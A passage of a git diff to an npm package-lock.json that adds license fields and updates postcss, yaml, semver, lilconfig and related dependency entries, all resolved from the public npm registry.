       "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==",
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^4.1.0"
       },
@@ -13939,6 +13229,7 @@
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -13953,6 +13244,7 @@
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz",
       "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==",
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.2.0"
       },
@@ -13964,6 +13256,7 @@
       "version": "3.1.0",
       "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-3.1.0.tgz",
       "integrity": "sha512-nDywThFk1i4BQK4twPQ6TA4RT8bDY96yeuCVBWL3ePARCiEKDRSrNGbFIgUJpLp+XeIR65v8ra7WuJOFUBtkMA==",
+      "license": "MIT",
       "dependencies": {
         "find-up": "^3.0.0"
       },
@@ -13975,6 +13268,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-3.0.0.tgz",
       "integrity": "sha512-1yD6RmLI1XBfxugvORwlck6f75tYL+iR0jqwsOrOxMZyGYqUuDhJ0l4AXdO1iX/FTs9cBAMEk1gWSEx1kSbylg==",
+      "license": "MIT",
       "dependencies": {
         "locate-path": "^3.0.0"
       },
@@ -13986,6 +13280,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-3.0.0.tgz",
       "integrity": "sha512-7AO748wWnIhNqAuaty2ZWHkQHRSNfPVIsPIfwEOWO22AmaoVrWavlOcMR5nzTLNYvp36X220/maaRsrec1G65A==",
+      "license": "MIT",
       "dependencies": {
         "p-locate": "^3.0.0",
         "path-exists": "^3.0.0"
@@ -13998,6 +13293,7 @@
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz",
       "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==",
+      "license": "MIT",
       "dependencies": {
         "p-try": "^2.0.0"
       },
@@ -14012,6 +13308,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz",
       "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==",
+      "license": "MIT",
       "dependencies": {
         "p-limit": "^2.0.0"
       },
@@ -14023,14 +13320,24 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
       "integrity": "sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
+    "node_modules/possible-typed-array-names": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/possible-typed-array-names/-/possible-typed-array-names-1.1.0.tgz",
+      "integrity": "sha512-/+5VFTchJDoVj3bhoqi6UeymcD00DAwb1nJwamzPvHEszJ4FpF6SNNbUbOS8yI56qHzdV8eK0qEfOSiodkTdxg==",
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/postcss": {
-      "version": "8.4.35",
-      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.4.35.tgz",
-      "integrity": "sha512-u5U8qYpBCpN13BsiEB0CbR1Hhh4Gc0zLFuedrHJKMctHCHAGrMdG0PRM/KErzAL3CU6/eckEtmHNB3x6e3c0vA==",
+      "version": "8.5.6",
+      "resolved": "https://registry.npmjs.org/postcss/-/postcss-8.5.6.tgz",
+      "integrity": "sha512-3Ybi1tAuwAP9s0r1UQ2J4n5Y0G05bJkpUIO0/bI9MhwmD70S5aTWbXGBwxHrelT+XM1k6dM0pk+SwNkpTRN7Pg==",
       "funding": [
         {
           "type": "opencollective",
@@ -14045,10 +13352,11 @@
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "dependencies": {
-        "nanoid": "^3.3.7",
-        "picocolors": "^1.0.0",
-        "source-map-js": "^1.0.2"
+        "nanoid": "^3.3.11",
+        "picocolors": "^1.1.1",
+        "source-map-js": "^1.2.1"
       },
       "engines": {
         "node": "^10 || ^12 || >=14"
@@ -14058,6 +13366,7 @@
       "version": "5.0.2",
       "resolved": "https://registry.npmjs.org/postcss-attribute-case-insensitive/-/postcss-attribute-case-insensitive-5.0.2.tgz",
       "integrity": "sha512-XIidXV8fDr0kKt28vqki84fRK8VW8eTuIa4PChv2MqKuT6C9UjmSKzen6KaWhWEoYvwxFCa7n/tC1SZ3tyq4SQ==",
+      "license": "MIT",
       "dependencies": {
         "postcss-selector-parser": "^6.0.10"
       },
@@ -14076,6 +13385,7 @@
       "version": "4.0.0",
       "resolved": "https://registry.npmjs.org/postcss-browser-comments/-/postcss-browser-comments-4.0.0.tgz",
       "integrity": "sha512-X9X9/WN3KIvY9+hNERUqX9gncsgBA25XaeR+jshHz2j8+sYyHktHw1JdKuMjeLpGktXidqDhA7b/qm1mrBDmgg==",
+      "license": "CC0-1.0",
       "engines": {
         "node": ">=8"
       },
@@ -14088,6 +13398,7 @@
       "version": "8.2.4",
       "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-8.2.4.tgz",
       "integrity": "sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==",
+      "license": "MIT",
       "dependencies": {
         "postcss-selector-parser": "^6.0.9",
         "postcss-value-parser": "^4.2.0"
@@ -14100,6 +13411,7 @@
       "version": "4.1.0",
       "resolved": "https://registry.npmjs.org/postcss-clamp/-/postcss-clamp-4.1.0.tgz",
       "integrity": "sha512-ry4b1Llo/9zz+PKC+030KUnPITTJAHeOwjfAyyB60eT0AorGLdzp52s31OsPRHRf8NchkgFoG2y6fCfn1IV1Ow==",
+      "license": "MIT",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -14114,6 +13426,7 @@
       "version": "4.2.4",
       "resolved": "https://registry.npmjs.org/postcss-color-functional-notation/-/postcss-color-functional-notation-4.2.4.tgz",
       "integrity": "sha512-2yrTAUZUab9s6CpxkxC4rVgFEVaR6/2Pipvi6qcgvnYiVqZcbDHEoBDhrXzyb7Efh2CCfHQNtcqWcIruDTIUeg==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -14132,6 +13445,7 @@
       "version": "8.0.4",
       "resolved": "https://registry.npmjs.org/postcss-color-hex-alpha/-/postcss-color-hex-alpha-8.0.4.tgz",
       "integrity": "sha512-nLo2DCRC9eE4w2JmuKgVA3fGL3d01kGq752pVALF68qpGLmx2Qrk91QTKkdUqqp45T1K1XV8IhQpcu1hoAQflQ==",
+      "license": "MIT",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -14150,6 +13464,7 @@
       "version": "7.1.1",
       "resolved": "https://registry.npmjs.org/postcss-color-rebeccapurple/-/postcss-color-rebeccapurple-7.1.1.tgz",
       "integrity": "sha512-pGxkuVEInwLHgkNxUc4sdg4g3py7zUeCQ9sMfwyHAT+Ezk8a4OaaVZ8lIY5+oNqA/BXXgLyXv0+5wHP68R79hg==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -14168,6 +13483,7 @@
       "version": "5.3.1",
       "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.1.tgz",
       "integrity": "sha512-UsWQG0AqTFQmpBegeLLc1+c3jIqBNB0zlDGRWR+dQ3pRKJL1oeMzyqmH3o2PIfn9MBdNrVPWhDbT769LxCTLJQ==",
+      "license": "MIT",
       "dependencies": {
         "browserslist": "^4.21.4",
         "caniuse-api": "^3.0.0",
@@ -14185,6 +13501,7 @@
       "version": "5.1.3",
       "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.3.tgz",
       "integrity": "sha512-82pC1xkJZtcJEfiLw6UXnXVXScgtBrjlO5CBmuDQc+dlb88ZYheFsjTn40+zBVi3DkfF7iezO0nJUPLcJK3pvA==",
+      "license": "MIT",
       "dependencies": {
         "browserslist": "^4.21.4",
         "postcss-value-parser": "^4.2.0"
@@ -14200,6 +13517,7 @@
       "version": "8.0.2",
       "resolved": "https://registry.npmjs.org/postcss-custom-media/-/postcss-custom-media-8.0.2.tgz",
       "integrity": "sha512-7yi25vDAoHAkbhAzX9dHx2yc6ntS4jQvejrNcC+csQJAXjj15e7VcWfMgLqBNAbOvqi5uIa9huOVwdHbf+sKqg==",
+      "license": "MIT",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -14218,6 +13536,7 @@
       "version": "12.1.11",
       "resolved": "https://registry.npmjs.org/postcss-custom-properties/-/postcss-custom-properties-12.1.11.tgz",
       "integrity": "sha512-0IDJYhgU8xDv1KY6+VgUwuQkVtmYzRwu+dMjnmdMafXYv86SWqfxkc7qdDvWS38vsjaEtv8e0vGOUQrAiMBLpQ==",
+      "license": "MIT",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -14236,6 +13555,7 @@
       "version": "6.0.3",
       "resolved": "https://registry.npmjs.org/postcss-custom-selectors/-/postcss-custom-selectors-6.0.3.tgz",
       "integrity": "sha512-fgVkmyiWDwmD3JbpCmB45SvvlCD6z9CG6Ie6Iere22W5aHea6oWa7EM2bpnv2Fj3I94L3VbtvX9KqwSi5aFzSg==",
+      "license": "MIT",
       "dependencies": {
         "postcss-selector-parser": "^6.0.4"
       },
@@ -14254,6 +13574,7 @@
       "version": "6.0.5",
       "resolved": "https://registry.npmjs.org/postcss-dir-pseudo-class/-/postcss-dir-pseudo-class-6.0.5.tgz",
       "integrity": "sha512-eqn4m70P031PF7ZQIvSgy9RSJ5uI2171O/OO/zcRNYpJbvaeKFUlar1aJ7rmgiQtbm0FSPsRewjpdS0Oew7MPA==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-selector-parser": "^6.0.10"
       },
@@ -14272,6 +13593,7 @@
       "version": "5.1.2",
       "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz",
       "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==",
+      "license": "MIT",
       "engines": {
         "node": "^10 || ^12 || >=14.0"
       },
@@ -14283,6 +13605,7 @@
       "version": "5.1.0",
       "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz",
       "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==",
+      "license": "MIT",
       "engines": {
         "node": "^10 || ^12 || >=14.0"
       },
@@ -14294,6 +13617,7 @@
       "version": "5.1.1",
       "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz",
       "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==",
+      "license": "MIT",
       "engines": {
         "node": "^10 || ^12 || >=14.0"
       },
@@ -14305,6 +13629,7 @@
       "version": "5.1.0",
       "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz",
       "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==",
+      "license": "MIT",
       "engines": {
         "node": "^10 || ^12 || >=14.0"
       },
@@ -14316,6 +13641,7 @@
       "version": "3.1.2",
       "resolved": "https://registry.npmjs.org/postcss-double-position-gradients/-/postcss-double-position-gradients-3.1.2.tgz",
       "integrity": "sha512-GX+FuE/uBR6eskOK+4vkXgT6pDkexLokPaz/AbJna9s5Kzp/yl488pKPjhy0obB475ovfT1Wv8ho7U/cHNaRgQ==",
+      "license": "CC0-1.0",
       "dependencies": {
         "@csstools/postcss-progressive-custom-properties": "^1.1.0",
         "postcss-value-parser": "^4.2.0"
@@ -14335,6 +13661,7 @@
       "version": "4.0.6",
       "resolved": "https://registry.npmjs.org/postcss-env-function/-/postcss-env-function-4.0.6.tgz",
       "integrity": "sha512-kpA6FsLra+NqcFnL81TnsU+Z7orGtDTxcOhl6pwXeEq1yFPpRMkCDpHhrz8CFQDr/Wfm0jLiNQ1OsGGPjlqPwA==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -14349,6 +13676,7 @@
       "version": "5.0.2",
       "resolved": "https://registry.npmjs.org/postcss-flexbugs-fixes/-/postcss-flexbugs-fixes-5.0.2.tgz",
       "integrity": "sha512-18f9voByak7bTktR2QgDveglpn9DTbBWPUzSOe9g0N4WR/2eSt6Vrcbf0hmspvMI6YWGywz6B9f7jzpFNJJgnQ==",
+      "license": "MIT",
       "peerDependencies": {
         "postcss": "^8.1.4"
       }
@@ -14357,6 +13685,7 @@
       "version": "6.0.4",
       "resolved": "https://registry.npmjs.org/postcss-focus-visible/-/postcss-focus-visible-6.0.4.tgz",
       "integrity": "sha512-QcKuUU/dgNsstIK6HELFRT5Y3lbrMLEOwG+A4s5cA+fx3A3y/JTq3X9LaOj3OC3ALH0XqyrgQIgey/MIZ8Wczw==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-selector-parser": "^6.0.9"
       },
@@ -14371,6 +13700,7 @@
       "version": "5.0.4",
       "resolved": "https://registry.npmjs.org/postcss-focus-within/-/postcss-focus-within-5.0.4.tgz",
       "integrity": "sha512-vvjDN++C0mu8jz4af5d52CB184ogg/sSxAFS+oUJQq2SuCe7T5U2iIsVJtsCp2d6R4j0jr5+q3rPkBVZkXD9fQ==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-selector-parser": "^6.0.9"
       },
@@ -14385,6 +13715,7 @@
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/postcss-font-variant/-/postcss-font-variant-5.0.0.tgz",
       "integrity": "sha512-1fmkBaCALD72CK2a9i468mA/+tr9/1cBxRRMXOUaZqO43oWPR5imcyPjXwuv7PXbCid4ndlP5zWhidQVVa3hmA==",
+      "license": "MIT",
       "peerDependencies": {
         "postcss": "^8.1.0"
       }
@@ -14393,6 +13724,7 @@
       "version": "3.0.5",
       "resolved": "https://registry.npmjs.org/postcss-gap-properties/-/postcss-gap-properties-3.0.5.tgz",
       "integrity": "sha512-IuE6gKSdoUNcvkGIqdtjtcMtZIFyXZhmFd5RUlg97iVEvp1BZKV5ngsAjCjrVy+14uhGBQl9tzmi1Qwq4kqVOg==",
+      "license": "CC0-1.0",
       "engines": {
         "node": "^12 || ^14 || >=16"
       },
@@ -14408,6 +13740,7 @@
       "version": "4.0.7",
       "resolved": "https://registry.npmjs.org/postcss-image-set-function/-/postcss-image-set-function-4.0.7.tgz",
       "integrity": "sha512-9T2r9rsvYzm5ndsBE8WgtrMlIT7VbtTfE7b3BQnudUqnBcBo7L758oc+o+pdj/dUV0l5wjwSdjeOH2DZtfv8qw==",
+      "license": "CC0-1.0",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -14426,6 +13759,7 @@
       "version": "15.1.0",
       "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
       "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
+      "license": "MIT",
       "dependencies": {
         "postcss-value-parser": "^4.0.0",
         "read-cache": "^1.0.0",
@@ -14442,6 +13776,7 @@
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/postcss-initial/-/postcss-initial-4.0.1.tgz",
       "integrity": "sha512-0ueD7rPqX8Pn1xJIjay0AZeIuDoF+V+VvMt/uOnn+4ezUKhZM/NokDeP6DwMNyIoYByuN/94IQnt5FEkaN59xQ==",
+      "license": "MIT",
       "peerDependencies": {
         "postcss": "^8.0.0"
       }
@@ -14450,6 +13785,7 @@
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz",
       "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==",
+      "license": "MIT",
       "dependencies": {
         "camelcase-css": "^2.0.1"
       },
@@ -14468,6 +13804,7 @@
       "version": "4.2.1",
       "resolved": "https://registry.npmjs.org/postcss-lab-function/-/postcss-lab-function-4.2.1.tgz",
       "integrity": "sha512-xuXll4isR03CrQsmxyz92LJB2xX9n+pZJ5jE9JgcnmsCammLyKdlzrBin+25dy6wIjfhJpKBAN80gsTlCgRk2w==",
+      "license": "CC0-1.0",
       "dependencies": {
         "@csstools/postcss-progressive-custom-properties": "^1.1.0",
         "postcss-value-parser": "^4.2.0"
@@ -14497,6 +13834,7 @@
           "url": "https://github.com/sponsors/ai"
         }
       ],
+      "license": "MIT",
       "dependencies": {
         "lilconfig": "^3.0.0",
         "yaml": "^2.3.4"
@@ -14518,9 +13856,10 @@
       }
     },
     "node_modules/postcss-load-config/node_modules/lilconfig": {
-      "version": "3.1.0",
-      "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.0.tgz",
-      "integrity": "sha512-p3cz0JV5vw/XeouBU3Ldnp+ZkBjE+n8ydJ4mcwBrOiXXPqNlrzGBqWs9X4MWF7f+iKUBu794Y8Hh8yawiJbCjw==",
+      "version": "3.1.3",
+      "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.1.3.tgz",
+      "integrity": "sha512-/vlFKAoH5Cgt3Ie+JLhRbwOsCQePABiU3tJ1egGvyQ+33R/vcwM2Zl2QR/LzjsBeItPt3oSVXapn+m4nQDvpzw==",
+      "license": "MIT",
       "engines": {
         "node": ">=14"
       },
@@ -14529,17 +13868,22 @@
       }
     },
     "node_modules/postcss-load-config/node_modules/yaml": {
-      "version": "2.3.4",
-      "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.4.tgz",
-      "integrity": "sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==",
+      "version": "2.8.0",
+      "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.8.0.tgz",
+      "integrity": "sha512-4lLa/EcQCB0cJkyts+FpIRx5G/llPxfP6VQU5KByHEhLxY3IJCH0f0Hy1MHI8sClTvsIb8qwRJ6R/ZdlDJ/leQ==",
+      "license": "ISC",
+      "bin": {
+        "yaml": "bin.mjs"
+      },
       "engines": {
-        "node": ">= 14"
+        "node": ">= 14.6"
       }
     },
     "node_modules/postcss-loader": {
       "version": "6.2.1",
       "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-6.2.1.tgz",
       "integrity": "sha512-WbbYpmAaKcux/P66bZ40bpWsBucjx/TTgVVzRZ9yUO8yQfVBlameJ0ZGVaPfH64hNSBh63a+ICP5nqOpBA0w+Q==",
+      "license": "MIT",
       "dependencies": {
         "cosmiconfig": "^7.0.0",
         "klona": "^2.0.5",
@@ -14557,24 +13901,11 @@
         "webpack": "^5.0.0"
       }
     },
-    "node_modules/postcss-loader/node_modules/lru-cache": {
-      "version": "6.0.0",
-      "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz",
-      "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==",
-      "dependencies": {
-        "yallist": "^4.0.0"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
     "node_modules/postcss-loader/node_modules/semver": {
-      "version": "7.6.0",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.6.0.tgz",
-      "integrity": "sha512-EnwXhrlwXMk9gKu5/flx5sv/an57AkRplG3hTK68W7FRDN+k+OWBj65M7719OkA82XLBxrcX0KSHj+X5COhOVg==",
-      "dependencies": {
-        "lru-cache": "^6.0.0"
-      },
+      "version": "7.7.2",
+      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.2.tgz",
+      "integrity": "sha512-RF0Fw+rO5AMf9MAyaRXI4AV0Ulj5lMHqVxxdSgiVbixSCXoEmmX/jk0CuJw4+3SqroYO9VoUh+HcuJivvtJemA==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver.js"
       },
@@ -14582,15 +13913,11 @@
         "node": ">=10"
       }
     },
-    "node_modules/postcss-loader/node_modules/yallist": {
-      "version": "4.0.0",
-      "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
-      "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="
-    },
     "node_modules/postcss-logical": {
       "version": "5.0.4",
       "resolved": "https://registry.npmjs.org/postcss-logical/-/postcss-logical-5.0.4.tgz",
       "integrity": "sha512-RHXxplCeLh9VjinvMrZONq7im4wjWGlRJAqmAVLXyZaXwfDWP73/oq4NdIp+OZwhQUMj0zjqDfM5Fj7qby+B4g==",
+      "license": "CC0-1.0",
       "engines": {
         "node": "^12 || ^14 || >=16"
       },
@@ -14602,6 +13929,7 @@
       "version": "5.0.0",
       "resolved": "https://registry.npmjs.org/postcss-media-minmax/-/postcss-media-minmax-5.0.0.tgz",
       "integrity": "sha512-yDUvFf9QdFZTuCUg0g0uNSHVlJ5X1lSzDZjPSFaiCWvjgsvu8vEVxtahPrLMinIDEEGnx6cBe6iqdx5YWz08wQ==",
+      "license": "MIT",
       "engines": {
         "node": ">=10.0.0"
       },
@@ -14613,6 +13941,7 @@
       "version": "5.1.7",
       "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.7.tgz",
       "integrity": "sha512-YCI9gZB+PLNskrK0BB3/2OzPnGhPkBEwmwhfYk1ilBHYVAZB7/tkTHFBAnCrvBBOmeYyMYw3DMjT55SyxMBzjQ==",
+      "license": "MIT",
       "dependencies": {
         "postcss-value-parser": "^4.2.0",
         "stylehacks": "^5.1.1"
@@ -14628,6 +13957,7 @@
       "version": "5.1.4",
       "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.4.tgz",
       "integrity": "sha512-0R2IuYpgU93y9lhVbO/OylTtKMVcHb67zjWIfCiKR9rWL3GUk1677LAqD/BcHizukdZEjT8Ru3oHRoAYoJy44g==",
+      "license": "MIT",
       "dependencies": {
         "browserslist": "^4.21.4",
         "caniuse-api": "^3.0.0",
@@ -14645,6 +13975,7 @@
       "version": "5.1.0",
       "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz",
       "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==",
+      "license": "MIT",
       "dependencies": {
         "postcss-value-parser": "^4.2.0"
       },
@@ -14659,6 +13990,7 @@
       "version": "5.1.1",
       "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz",
       "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==",
+      "license": "MIT",
       "dependencies": {
         "colord": "^2.9.1",
         "cssnano-utils": "^3.1.0",
@@ -14675,6 +14007,7 @@
       "version": "5.1.4",
       "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.4.tgz",
       "integrity": "sha512-+mePA3MgdmVmv6g+30rn57USjOGSAyuxUmkfiWpzalZ8aiBkdPYjXWtHuwJGm1v5Ojy0Z0LaSYhHaLJQB0P8Jw==",
+      "license": "MIT",
       "dependencies": {
         "browserslist": "^4.21.4",
         "cssnano-utils": "^3.1.0",
@@ -14691,6 +14024,7 @@
       "version": "5.2.1",
       "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz",
       "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==",
+      "license": "MIT",
       "dependencies": {
         "postcss-selector-parser": "^6.0.5"
       },
@@ -14702,9 +14036,10 @@
       }
     },
     "node_modules/postcss-modules-extract-imports": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz",
-      "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==",
+      "version": "3.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.1.0.tgz",
+      "integrity": "sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==",
+      "license": "ISC",
       "engines": {
         "node": "^10 || ^12 || >= 14"
       },
@@ -14713,12 +14048,13 @@
       }
     },
     "node_modules/postcss-modules-local-by-default": {
-      "version": "4.0.4",
-      "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.4.tgz",
-      "integrity": "sha512-L4QzMnOdVwRm1Qb8m4x8jsZzKAaPAgrUF1r/hjDR2Xj7R+8Zsf97jAlSQzWtKx5YNiNGN8QxmPFIc/sh+RQl+Q==",
+      "version": "4.2.0",
+      "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.2.0.tgz",
+      "integrity": "sha512-5kcJm/zk+GJDSfw+V/42fJ5fhjL5YbFDl8nVdXkJPLLW+Vf9mTD5Xe0wqIaDnLuL2U6cDNpTr+UQ+v2HWIBhzw==",
+      "license": "MIT",
       "dependencies": {
         "icss-utils": "^5.0.0",
-        "postcss-selector-parser": "^6.0.2",
+        "postcss-selector-parser": "^7.0.0",
         "postcss-value-parser": "^4.1.0"
       },
       "engines": {
@@ -14728,12 +14064,26 @@
         "postcss": "^8.1.0"
       }
     },
-    "node_modules/postcss-modules-scope": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.1.1.tgz",
-      "integrity": "sha512-uZgqzdTleelWjzJY+Fhti6F3C9iF1JR/dODLs/JDefozYcKTBCdD8BIl6nNPbTbcLnGrk56hzwZC2DaGNvYjzA==",
+    "node_modules/postcss-modules-local-by-default/node_modules/postcss-selector-parser": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.0.tgz",
+      "integrity": "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA==",
+      "license": "MIT",
       "dependencies": {
-        "postcss-selector-parser": "^6.0.4"
+        "cssesc": "^3.0.0",
+        "util-deprecate": "^1.0.2"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
+    "node_modules/postcss-modules-scope": {
+      "version": "3.2.1",
+      "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.2.1.tgz",
+      "integrity": "sha512-m9jZstCVaqGjTAuny8MdgE88scJnCiQSlSrOWcTQgM2t32UBe+MUmFSO5t7VMSfAf/FJKImAxBav8ooCHJXCJA==",
+      "license": "ISC",
+      "dependencies": {
+        "postcss-selector-parser": "^7.0.0"
       },
       "engines": {
         "node": "^10 || ^12 || >= 14"
@@ -14742,10 +14092,24 @@
         "postcss": "^8.1.0"
       }
     },
+    "node_modules/postcss-modules-scope/node_modules/postcss-selector-parser": {
+      "version": "7.1.0",
+      "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.0.tgz",
+      "integrity": "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA==",
+      "license": "MIT",
+      "dependencies": {
+        "cssesc": "^3.0.0",
+        "util-deprecate": "^1.0.2"
+      },
+      "engines": {
+        "node": ">=4"
+      }
+    },
